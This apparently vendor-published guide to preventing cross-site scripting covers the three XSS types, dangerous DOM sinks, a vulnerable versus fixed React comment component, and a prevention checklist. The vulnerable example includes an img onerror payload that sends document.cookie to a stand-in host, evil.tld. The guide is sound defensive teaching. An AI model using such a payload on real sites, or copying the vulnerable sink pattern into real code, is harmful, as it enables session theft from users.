Safeguard
Vulnerability Guides

Cross-Site Scripting (XSS): A Prevention Guide

XSS lets an attacker run their JavaScript in your users' browsers — stealing sessions, rewriting pages, and pivoting to account takeover. This guide covers the three XSS types and the defenses that actually hold.

Daniel Osei
Security Researcher
5 min read

Cross-site scripting is the vulnerability that refuses to die. It has been in every OWASP Top 10 since the list existed, and modern single-page frameworks have quietly reintroduced it through APIs like innerHTML and dangerouslySetInnerHTML. If your app renders anything a user can influence, XSS is on your threat model whether you planned for it or not.

What is XSS?

Cross-Site Scripting (XSS, CWE-79) is a vulnerability where an application includes untrusted data in a web page without proper neutralization, so the victim's browser executes attacker-supplied script in the security context of your site. Because that script runs as your origin, it can read cookies and tokens, make authenticated requests, capture keystrokes, and rewrite the page — effectively giving the attacker whatever the logged-in user can do. The 2005 Samy worm demonstrated the scale: a stored XSS payload added over a million MySpace friends in under 24 hours.

The three flavors of XSS

Reflected XSS bounces attacker input off the server into an immediate response — a search term echoed back into HTML, an error message that repeats a query parameter. It requires tricking a victim into clicking a crafted link, so it is typically weaponized through phishing.

Stored XSS is the dangerous one: the payload is persisted (a comment, a profile bio, a support ticket) and served to every user who views it, with no lure required. Samy was stored XSS.

DOM-based XSS never touches the server's HTML rendering. Vulnerable client-side JavaScript takes a value from location.hash, document.referrer, or postMessage and writes it into the DOM through a dangerous sink. Because the exploit lives entirely in the browser, server-side output encoding does nothing to stop it — this is why DOM XSS has grown alongside JavaScript-heavy front ends.

How the exploit lands

Every XSS bug is a data-to-code confusion: input that should be content is interpreted as markup or script. The dangerous sinks are consistent across stacks — innerHTML, outerHTML, document.write, eval, jQuery's .html(), React's dangerouslySetInnerHTML, and any template rendered with auto-escaping turned off. Real libraries have shipped these bugs: CVE-2020-11022 and CVE-2020-11023 were XSS flaws in jQuery's HTML manipulation that affected an enormous swath of the web until patched.

Vulnerable vs. fixed

A React comment renderer that trusts stored input:

// VULNERABLE — renders raw user HTML into the DOM
function Comment({ body }) {
  return <div dangerouslySetInnerHTML={{ __html: body }} />;
}

If body is <img src=x onerror="fetch('https://evil.tld/c?'+document.cookie)">, every viewer ships their session to the attacker. The fix is to let the framework escape by default, and where rich HTML is genuinely required, sanitize with a vetted allow-list library:

// FIXED — auto-escaped by default; sanitize only when rich HTML is required
import DOMPurify from "dompurify";

// Plain text: React escapes this automatically.
function Comment({ body }) {
  return <div>{body}</div>;
}

// Rich text (e.g. a CMS field): sanitize against an allow-list first.
function RichComment({ html }) {
  const clean = DOMPurify.sanitize(html, { USE_PROFILES: { html: true } });
  return <div dangerouslySetInnerHTML={{ __html: clean }} />;
}

The principle: encode for the context (HTML body, attribute, URL, JavaScript, CSS) at the point of output, and never hand-roll sanitization with a regex — attackers have decades of mutation and parser-differential tricks that beat blacklists.

Prevention checklist

  • Rely on context-aware auto-escaping. Modern template engines (React, Angular, Vue, Jinja2, Razor) escape by default. Do not opt out casually.
  • Sanitize rich HTML with a maintained library like DOMPurify. Never accept raw HTML into innerHTML.
  • Deploy a strict Content-Security-Policy. A nonce- or hash-based CSP that forbids inline script turns many XSS bugs from account takeover into a blocked console error. Treat it as defense in depth, not a substitute for encoding.
  • Set HttpOnly and Secure on session cookies so script cannot read them, and use SameSite to limit cross-site abuse.
  • Avoid dangerous sinkseval, innerHTML, document.write. Use textContent, setAttribute, and framework bindings.
  • Validate postMessage origins and never pass message data straight into the DOM.
  • Encode on output, validate on input. Input validation is a helpful filter but not a complete defense; output encoding is the load-bearing control.

A note on framework false confidence

Modern frameworks escape by default, which lulls teams into believing XSS is a solved problem. It is not. Every framework ships an escape hatch — React's dangerouslySetInnerHTML, Vue's v-html, Angular's [innerHTML], Django's mark_safe, Jinja2's |safe — and each one is a live XSS sink the instant untrusted data reaches it. Server-side templates can also disable escaping per block. The practical consequence is that vulnerabilities cluster on the exceptions developers add for rich content, admin dashboards, and HTML email templates, not on the default rendering path. Audit those exceptions specifically, and require a sanitizer on every one.

How Safeguard helps

XSS spans server-rendered and client-rendered code, so detection has to cover both. Safeguard's DAST engine injects context-aware payloads into forms, query parameters, and headers, then observes whether they execute in a real browser context — surfacing reflected, stored, and DOM-based XSS with proof rather than pattern guesses. Griffin AI code review reads your components and templates to catch tainted data flowing into dangerouslySetInnerHTML, innerHTML, and other sinks, and it distinguishes escaped output from raw output the way a human reviewer would. When a fix is mechanical — swapping a raw sink for an escaped binding or wrapping input in a sanitizer — Safeguard's auto-fix can raise the pull request for you. Developers can shift the whole loop left with the Safeguard CLI, scanning a branch before it ever reaches review.

Weighing dynamic testing against a scanner you already know? Compare Safeguard vs Veracode to see how runtime confirmation reduces false positives.

Spin up a free scan at app.safeguard.sh/register, and find framework-specific hardening guides at docs.safeguard.sh.

Never miss an update

Weekly insights on software supply chain security, delivered to your inbox.